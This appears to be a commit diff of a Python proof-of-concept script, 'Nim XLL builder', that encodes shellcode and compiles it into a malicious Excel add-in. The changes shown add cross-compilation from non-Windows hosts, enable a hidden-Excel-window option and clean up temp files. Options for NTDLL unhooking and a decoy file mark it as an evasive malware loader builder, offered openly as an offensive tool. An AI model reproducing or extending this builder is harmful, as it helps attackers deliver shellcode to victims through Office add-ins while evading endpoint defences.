1717(_/ \\ _)\\ __ |_| \\ ____)_|_|\\ _||_|
1818 (____/ Nim XLL builder PoC v0.2.1
1919"""
20- if os .name != 'nt' :
21- print ("| cross-compilation coming soon™" )
22- exit (1 )
20+
2321print (banner )
2422def encode_shellcode (sc_bytes ):
2523 STATE_OPEN = "<"
@@ -94,7 +92,7 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
9492 help = "do not do NTDLL unhooking" )
9593
9694compilation .add_argument ("-w" , "--hidewindow" , action = "store_true" ,
97- help = "hide excel window during execution # TODO " )
95+ help = "hide excel window during execution" )
9896
9997compilation .add_argument ("-d" , "--decoy" , type = str ,
10098 help = "path to the decoy file to open on startup (optional)" )
@@ -121,6 +119,10 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
121119
122120compile_template = "nim c --app:lib --passL:\" -static-libgcc -static -lpthread\" --hints:off --define:excel {cmdline_args} --nomain --out:{outfile} --threads:on {filename}"
123121cmdline_args = ""
122+ if os .name != 'nt' :
123+ print ("| cross-compilation unstable" )
124+ cmdline_args += "--define:mingw --cpu:amd64 "
125+
124126
125127if not args .skip_unhook :
126128 cmdline_args += "--define:unhook "
@@ -130,7 +132,7 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
130132
131133if args .hidewindow :
132134 cmdline_args += "--define:hidewindow "
133- print ("| hide excel window: TODO " )
135+ print ("| hide excel window: on " )
134136else :
135137 print ("| hide excel window: off" )
136138
@@ -200,4 +202,5 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
200202if args .verbose :
201203 print (" \\ command line:" , compile_template .format (cmdline_args = cmdline_args , outfile = args .output , filename = tempname ))
202204os .system (compile_template .format (cmdline_args = cmdline_args , outfile = args .output , filename = tempname ))
205+ os .remove (tempname )
203206print ("! should be saved to: " , args .output )
0 commit comments